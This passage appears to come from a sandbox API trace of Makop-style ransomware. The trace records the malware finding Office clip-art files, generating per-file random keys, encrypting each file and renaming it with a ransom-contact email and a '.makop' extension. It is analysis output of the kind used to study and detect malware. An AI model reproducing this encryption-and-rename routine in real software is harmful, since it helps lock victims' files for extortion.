ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1 [0137.273] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG") returned 63 [0137.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.276] GetProcessHeap () returned 0x48a0000 [0137.276] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.276] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.276] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0137.280] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.280] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.280] GetProcessHeap () returned 0x48a0000 [0137.280] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.280] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.280] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.281] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.281] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.281] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.282] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x184d3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x184d3, lpOverlapped=0x0) returned 1 [0137.284] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x184e0, dwBufLen=0x184e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x184e0) returned 1 [0137.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x184e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x184e0, lpOverlapped=0x0) returned 1 [0137.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.286] SetEndOfFile (hFile=0xf0) returned 1 [0137.293] GetProcessHeap () returned 0x48a0000 [0137.293] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.293] GetProcessHeap () returned 0x48a0000 [0137.293] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.293] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.294] CloseHandle (hObject=0xf0) returned 1 [0137.294] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1 [0137.294] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG") returned 63 [0137.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.295] GetProcessHeap () returned 0x48a0000 [0137.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.295] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.295] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0137.299] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.299] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.299] GetProcessHeap () returned 0x48a0000 [0137.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.299] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.299] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.299] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.299] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.299] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.300] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.300] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.300] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.300] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.300] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1aba5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1aba5, lpOverlapped=0x0) returned 1 [0137.303] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1abb0, dwBufLen=0x1abb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1abb0) returned 1 [0137.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1abb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1abb0, lpOverlapped=0x0) returned 1 [0137.305] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.305] SetEndOfFile (hFile=0xf0) returned 1 [0137.312] GetProcessHeap () returned 0x48a0000 [0137.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.312] GetProcessHeap () returned 0x48a0000 [0137.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.312] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.313] CloseHandle (hObject=0xf0) returned 1 [0137.314] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1 [0137.314] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG") returned 63 [0137.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.316] GetProcessHeap () returned 0x48a0000 [0137.316] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.316] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.316] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.316] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0137.319] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.319] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.320] GetProcessHeap () returned 0x48a0000 [0137.320] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.320] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.320] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.321] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.321] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1653a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1653a, lpOverlapped=0x0) returned 1 [0137.326] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16540, dwBufLen=0x16540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16540) returned 1 [0137.327] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.327] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16540, lpOverlapped=0x0) returned 1 [0137.328] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.328] SetEndOfFile (hFile=0xf0) returned 1 [0137.336] GetProcessHeap () returned 0x48a0000 [0137.336] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.336] GetProcessHeap () returned 0x48a0000 [0137.336] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.336] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.337] CloseHandle (hObject=0xf0) returned 1 [0137.338] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1 [0137.338] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG") returned 63 [0137.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.339] GetProcessHeap () returned 0x48a0000 [0137.339] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.339] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0137.343] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.343] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.344] GetProcessHeap () returned 0x48a0000 [0137.344] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.344] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.344] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.345] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.345] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.345] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.345] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13e1d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13e1d, lpOverlapped=0x0) returned 1 [0137.347] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13e20, dwBufLen=0x13e20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13e20) returned 1 [0137.348] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.348] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13e20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13e20, lpOverlapped=0x0) returned 1 [0137.349] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.349] SetEndOfFile (hFile=0xf0) returned 1 [0137.357] GetProcessHeap () returned 0x48a0000 [0137.357] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.357] GetProcessHeap () returned 0x48a0000 [0137.357] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.357] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 